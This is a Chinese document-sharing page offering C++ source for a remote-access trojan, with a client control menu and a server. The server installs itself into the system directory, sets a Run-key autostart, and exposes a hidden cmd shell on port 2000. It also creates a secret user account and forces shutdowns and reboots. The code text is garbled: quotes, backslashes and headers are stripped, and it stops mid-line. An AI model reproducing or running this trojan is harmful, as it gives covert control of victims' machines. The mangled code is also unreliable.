一個(gè)簡(jiǎn)單木馬程序_第1頁(yè)
一個(gè)簡(jiǎn)單木馬程序_第2頁(yè)
一個(gè)簡(jiǎn)單木馬程序_第3頁(yè)
一個(gè)簡(jiǎn)單木馬程序_第4頁(yè)
一個(gè)簡(jiǎn)單木馬程序_第5頁(yè)
已閱讀5頁(yè),還剩2頁(yè)未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、精選優(yōu)質(zhì)文檔-傾情為你奉上精選優(yōu)質(zhì)文檔-傾情為你奉上專心-專注-專業(yè)專心-專注-專業(yè)精選優(yōu)質(zhì)文檔-傾情為你奉上專心-專注-專業(yè)程序清單:Client.cpp / 客戶端代碼Server.cpp / 服務(wù)器端代碼程序代碼及說(shuō)明:/Client.cpp文件#include /包含標(biāo)準(zhǔn)輸入輸出庫(kù)#include /包含windows套接字函數(shù)#include using namespace std;#pragma comment(lib,Ws2_32) /將注釋wsock32放置到lib文件中,否則需要加載 #define MAXSIZE 2048 /每次可以接收的最大字節(jié) #define SEND

2、_PORT 2000 /與木馬程序連接的端口為2000struct sockaddr_in ClientAddr; /對(duì)方的地址端口信息SOCKET sock; /定義套接字變量,為全局變量DWORD startSock() /建立套接字功能模塊WSADATA WSAData; /將WSAData的數(shù)據(jù)類(lèi)型聲明為WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)預(yù)定義Winsock版本,初始化套接字printf(sock init fail);return(-1);sock = socket(AF_INET, SOCK

3、_STREAM, 0);/連接對(duì)方return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /傳送數(shù)據(jù)的緩沖區(qū)char ip100;cout請(qǐng)輸入要連接的IP地址ip;startSock();/調(diào)用建立套接字功能函數(shù)ClientAddr.sin_family = AF_INET;/協(xié)議類(lèi)型是INET ClientAddr.sin_port = htons(SEND_PORT);/連接對(duì)方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(ip);/連接對(duì)方的IP地址 c

4、onnect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr);printf(-遠(yuǎn)程控制木馬程序菜單-rn);printf(add -建立Windows系統(tǒng)的秘密帳號(hào)rn);printf(shutdown -關(guān)閉Windows計(jì)算機(jī)rn);printf(reset -重新啟動(dòng)Windows計(jì)算機(jī)rn);printf(close -關(guān)閉光驅(qū)rn);printf(open -打開(kāi)光驅(qū)rn);printf(shell -建立cmd進(jìn)程rn);printf(quit -退出系統(tǒng)rn);printf(BIT-gaoping-rn);

5、while(1)buf0 = 0;scanf(%s,buf);/輸入控制指令int iLen = strlen(buf);bufiLen = 0 xa;bufiLen+1 = 0;/要求控制指令串最后為回車(chē)符,以示結(jié)束numbyte=send(sock, buf, strlen(buf), 0);/發(fā)出控制指令if(numbyte=SOCKET_ERROR)closesocket(sock); break;numbyte=recv(sock, buf, MAXSIZE, 0);/接收服務(wù)端發(fā)來(lái)的提示符if(numbyte=SOCKET_ERROR)closesocket(sock); brea

6、k;bufnumbyte = 0; printf(%s,buf); /顯示服務(wù)端發(fā)來(lái)的提示符if(strcmp(buf, quit) = 0 )closesocket(sock); return 0;return 0; /Server.cpp文件#include /包含windows套接字函數(shù)#include /包含標(biāo)準(zhǔn)輸入輸出函數(shù)#include /光驅(qū)控制函數(shù)mciSendString()所需的頭文件#include /包含C+系統(tǒng)輸入輸出函數(shù)#include /包含字符串處理函數(shù)using namespace std;#include /WinExec()函數(shù)所需的頭文件#pragma

7、comment(lib,Ws2_32)/將注釋wsock32放置到lib文件中,否則需要加載#pragma comment(lib,Winmm.lib)/光驅(qū)控制函數(shù)mciSendString()所需的庫(kù)#define RECV_PORT 2000 /木馬服務(wù)端對(duì)外響應(yīng)的端口#define PATH 200 /程序自啟動(dòng)的最大路徑SOCKET sock1,sock2;/sock1為服務(wù)端程序自身建立的套接字/sock2為服務(wù)端與客戶端建立響應(yīng)后的套接字int g1;char Buff1024,cmd1024;/緩沖區(qū)DWORD startSock() /建立套接字功能模塊WSADATA WSA

8、Data; /將WSAData的數(shù)據(jù)類(lèi)型聲明為WSADATAif(WSAStartup(MAKEWORD(2,2),&WSAData)!=0)/MAKEWORD(2,2)預(yù)定義Winsock版本,初始化套接字printf(sock init fail);return(-1);sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);/建立套接字,為T(mén)CP/IP、流式格式struct sockaddr_in serverAddr; /保存套接字地址的結(jié)構(gòu)體serverAddr.sin_family = AF_INET; /規(guī)

9、定使用IPv4協(xié)議serverAddr.sin_port = htons(RECV_PORT); /響應(yīng)端口serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址連接g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr);/綁定端口與套接字g1=listen(sock1,5);/等待監(jiān)聽(tīng),最大可接受5個(gè)連接請(qǐng)求int serverAddrSize = sizeof(serverAddr);sock2=accept(sock1,(sockaddr *)&serverAd

10、dr,&serverAddrSize);/如果客戶請(qǐng)求2000端口,接受連接,并返回sock2套接字return 1;int cmdshell(SOCKET sock) /建立cmd進(jìn)程功能模塊STARTUPINFO startinfo; /控制進(jìn)程的主窗口的顯示方式ZeroMemory(&startinfo,sizeof(startinfo);startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;/ 決定本結(jié)構(gòu)的每一個(gè)成員是否起作用startinfo.wShowWindow = SW_HIDE;/窗口顯示模式,隱藏格式st

11、artinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock;/標(biāo)準(zhǔn)輸入輸出管道char cmdsystem = cmd;/cmd進(jìn)程PROCESS_INFORMATION ProcessInformation;/ 指向進(jìn)程信息結(jié)構(gòu)的指針int g2;/下面為建立進(jìn)程過(guò)程g2=CreateProcess(NULL,cmdsystem,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation);/建立一個(gè)cmd.exe進(jìn)程與相應(yīng)的輸入輸出管道WaitF

12、orSingleObject(ProcessInformation.hProcess, INFINITE);/等待子進(jìn)程退出TerminateProcess(ProcessInformation.hProcess, 0);/在一個(gè)子進(jìn)程中強(qiáng)制結(jié)束其他的進(jìn)程CloseHandle(ProcessInformation.hProcess);/關(guān)閉子進(jìn)程句柄return 1;DWORD startExeFile() /自啟動(dòng)程序功能模塊 char ExeFilePATH; /木馬程序緩沖區(qū)char TempPathPATH;/系統(tǒng)目錄緩沖區(qū)int g3;GetModuleFileName(NULL,

13、ExeFile,PATH);/得到當(dāng)前文件名GetSystemDirectory(TempPath ,PATH);/得到系統(tǒng)目錄strcat(TempPath,server.exe);/拷貝到系統(tǒng)文件夾名為server.exeg3 = CopyFile(ExeFile, TempPath, FALSE);HKEY key;/關(guān)鍵字句柄if( RegOpenKeyEx( HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun,0, KEY_ALL_ACCESS, &key ) = ERROR_SUCCESS)/創(chuàng)建和打開(kāi)一個(gè)關(guān)鍵字

14、RegSetValueEx(key,server,0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath); / 在RUN鍵下建立一個(gè)server鍵,為該木馬的路徑 RegCloseKey(key); /關(guān)閉并保存return 1;DWORD Open_CDROM()/打開(kāi)光驅(qū)程序功能模塊mciSendString(set cdaudio door open, NULL, 0, NULL);/多媒體控制函數(shù)return 1;DWORD Close_CDROM()/關(guān)閉光驅(qū)程序功能模塊 mciSendString(Set cdaudio door closed wa

15、it, NULL, 1, NULL);/多媒體控制函數(shù)return 1;DWORD shutdownwin2k()/關(guān)閉Win2K程序功能模塊HANDLEhToken;TOKEN_PRIVILEGEStkp;/ Windows2K中需要設(shè)置調(diào)用進(jìn)程的權(quán)限,當(dāng)獲取該權(quán)限后才能關(guān)閉計(jì)算機(jī)的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges0.Luid);tkp.

16、PrivilegeCount = 1; / 設(shè)置一個(gè)權(quán)限tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);return 1;DWORD shutdownwin98()/關(guān)閉Win98程序功能模塊ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);return 1;DWORD resetw

17、in98()/重新啟動(dòng)Win98程序功能模塊ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);return 1;DWORD resetwin2k()/重新啟動(dòng)Win2K程序功能模塊HANDLEhToken;TOKEN_PRIVILEGEStkp;/ Windows2K系列,需要設(shè)置調(diào)用進(jìn)程的權(quán)限,獲得權(quán)限才能進(jìn)行重新啟動(dòng)計(jì)算機(jī)的操作OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);LookupPrivilegeValue(NULL,SE_SHUTD

18、OWN_NAME,&tkp.Privileges0.Luid);tkp.PrivilegeCount = 1; / 設(shè)置一個(gè)權(quán)限tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);return 1;DWORD adduser()/建立秘密帳號(hào)程序功能模塊WinExec(net user yaoxiangwen /add,S

19、W_HIDE);/建立秘密帳號(hào):yaoxiangwen為用戶帳號(hào),為密碼return 1;/下面為主函數(shù),通過(guò)調(diào)用各個(gè)功能模塊來(lái)實(shí)現(xiàn)木馬功能int main()startExeFile();/startSock() ;unsigned long ByteRead = 0;while(1)send(sock2,遠(yuǎn)程控制系統(tǒng),請(qǐng)輸入你的選擇!nrcmd,sizeof(歡迎進(jìn)入木馬遠(yuǎn)程控制系統(tǒng),請(qǐng)輸入你的選擇!nrcmd),0);ZeroMemory(cmd,1024); /初始化cmd緩沖區(qū),用來(lái)裝客戶端發(fā)來(lái)的指令ByteRead = 0; /接收客戶端發(fā)來(lái)的指令字節(jié)數(shù)while(ByteRead

20、,sizeof(OKnrcmd),0);else if(strcmp(cmd,close) = 0) Close_CDROM(); /調(diào)用關(guān)閉光驅(qū)模塊程序send(sock2,OKnrcmd,sizeof(OKnrcmd),0);else if(strcmp(cmd,shell)=0)cmdshell(sock2); /調(diào)用CMD進(jìn)程模塊程序send(sock2,Create the cmd Shell OKnrcmd,sizeof(Create the cmd Shell OKnrcmd),0);else if(strcmp(cmd,shutdown98)=0)shutdownwin98();/調(diào)用關(guān)閉Win98系統(tǒng)計(jì)算機(jī)模塊程序send(sock2,shutdown the windows98 OKnrcmd,sizeof(shutdown the windows98 OKnrcmd),0);else if(strcmp(cmd,shutdown)=0)shutdownwin2k();/調(diào)用關(guān)閉Win2K系統(tǒng)計(jì)算機(jī)模塊程序send(sock2,shutdown the windows2k OKnr

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論